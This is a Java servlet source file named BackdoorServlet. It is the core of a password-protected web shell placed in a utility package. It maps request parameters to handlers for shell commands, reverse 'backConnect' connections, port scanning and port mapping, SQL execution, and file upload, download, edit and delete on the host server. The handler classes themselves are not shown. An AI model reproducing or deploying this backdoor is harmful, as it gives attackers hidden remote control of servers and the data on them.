package com.truthbean.jeetb.utils.web;

import com.truthbean.jeetb.utils.web.invoker.*;

import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.*;
import java.io.*;

import static com.truthbean.jeetb.utils.web.invoker.DefaultInvoker.*;

/**
 * Created by truth on 16-12-1.
 */
public class BackdoorServlet extends HttpServlet {

    static {
        ins.put("script", new ScriptInvoker());
        ins.put("before", new BeforeInvoker());
        ins.put("after", new AfterInvoker());
        ins.put("deleteBatch", new DeleteBatchInvoker());
        ins.put("clipboard", new ClipBoardInvoker());
        ins.put("vRemoteControl", new VRemoteControlInvoker());
        ins.put("gc", new GcInvoker());
        ins.put("vPortScan", new VPortScanInvoker());
        ins.put("portScan", new PortScanInvoker());
        ins.put("vConn", new VConnInvoker());
        ins.put("dbc", new DbcInvoker());
        ins.put("executesql", new ExecuteSQLInvoker());
        ins.put("vLogin", new VLoginInvoker());
        ins.put("login", new LoginInvoker());
        ins.put("filelist", new FileListInvoker());
        ins.put("logout", new LogoutInvoker());
        ins.put("upload", new UploadInvoker());
        ins.put("copy", new CopyInvoker());
        ins.put("bottom", new BottomInvoker());
        ins.put("vCreateFile", new VCreateFileInvoker());
        ins.put("vEdit", new VEditInvoker());
        ins.put("createFile", new CreateFileInvoker());
        ins.put("vEditProperty", new VEditPropertyInvoker());
        ins.put("editProperty", new EditPropertyInvoker());
        ins.put("vs", new VsInvoker());
        ins.put("shell", new ShellInvoker());
        ins.put("down", new DownInvoker());
        ins.put("vd", new VdInvoker());
        ins.put("downRemote", new DownRemoteInvoker());
        ins.put("index", new IndexInvoker());
        ins.put("mkdir", new MkDirInvoker());
        ins.put("move", new MoveInvoker());
        ins.put("removedir", new RemoteDirInvoker());
        ins.put("packBatch", new PackBatchInvoker());
        ins.put("pack", new PackInvoker());
        ins.put("unpack", new UnPackInvoker());
        ins.put("vmp", new VmpInvoker());
        ins.put("vbc", new VbcInvoker());
        ins.put("backConnect", new BackConnectInvoker());
        ins.put("jspEnv", new JspEnvInvoker());
        ins.put("smp", new SmpInvoker());
        ins.put("mapPort", new MapPortInvoker());
        ins.put("top", new TopInvoker());
        ins.put("vso", new VOnLineShellInvoker());
        ins.put("online", new OnLineInvoker());
    }

    @Override
    protected void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        HttpSession session = request.getSession();
        ServletContext application = session.getServletContext();
        PrintWriter out = response.getWriter();
        SHELL_NAME = request.getServletPath().substring(request.getServletPath().lastIndexOf("/") + 1);
        String myAbsolutePath = request.getRealPath(request.getServletPath());
        if (Utils.isEmpty(myAbsolutePath)) {//for weblogic
            SHELL_NAME = request.getServletPath();
            myAbsolutePath = new File(application.getResource("/").getPath() + SHELL_NAME).toString();
            SHELL_NAME = request.getContextPath() + SHELL_NAME;
            WEB_ROOT = new File(application.getResource("/").getPath()).toString();
        } else {
            WEB_ROOT = application.getRealPath("/");
        }
        SHELL_DIR = Utils.convertPath(myAbsolutePath.substring(0, myAbsolutePath.lastIndexOf(File.separator)));
        if (session.getAttribute(CURRENT_DIR) == null)
            session.setAttribute(CURRENT_DIR, Utils.convertPath(SHELL_DIR));
        request = new MyRequest(request);
        if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)) {
            String o = request.getParameter("o");
            if (o != null && o.equals("login")) {
                ins.get("login").invoke(request, response, session);
                return;
            } else if (o != null && o.equals("vLogin")) {
                ins.get("vLogin").invoke(request, response, session);
                return;
            } else {
                response.sendRedirect(SHELL_NAME + "?o=vLogin");
                return;
            }
        }


        try {
            String o = request.getParameter("o");
            if (!Utils.isEmpty(o)) {
                Invoker in = ins.get(o);
                if (in == null) {
                    response.sendRedirect(SHELL_NAME + "?o=index");
                } else {
                    if (in.doBefore()) {
                        String path = request.getParameter("folder");
                        if (!Utils.isEmpty(path))
                            session.setAttribute(CURRENT_DIR, path);
                        ins.get("before").invoke(request, response, session);
                        ins.get("script").invoke(request, response, session);
                        ins.get("top").invoke(request, response, session);
                    }
                    in.invoke(request, response, session);
                    if (!in.doAfter()) {
                        return;
                    } else {
                        ins.get("bottom").invoke(request, response, session);
                        ins.get("after").invoke(request, response, session);
                    }
                }
            } else {
                response.sendRedirect(SHELL_NAME + "?o=index");
            }
        } catch (Exception e) {
            ByteArrayOutputStream bout = new ByteArrayOutputStream();
            e.printStackTrace(new PrintStream(bout));
            session.setAttribute(CURRENT_DIR, SHELL_DIR);
            try {
                Utils.outMsg(out, Utils.htmlEncode(new String(bout.toByteArray())).replace("\n", "<br/>"), "left");
            } catch (Exception e1) {
                e1.printStackTrace();
            }
            bout.close();
            out.flush();
            ins.get("bottom").invoke(request, response, session);
            ins.get("after").invoke(request, response, session);
        }
    }
}
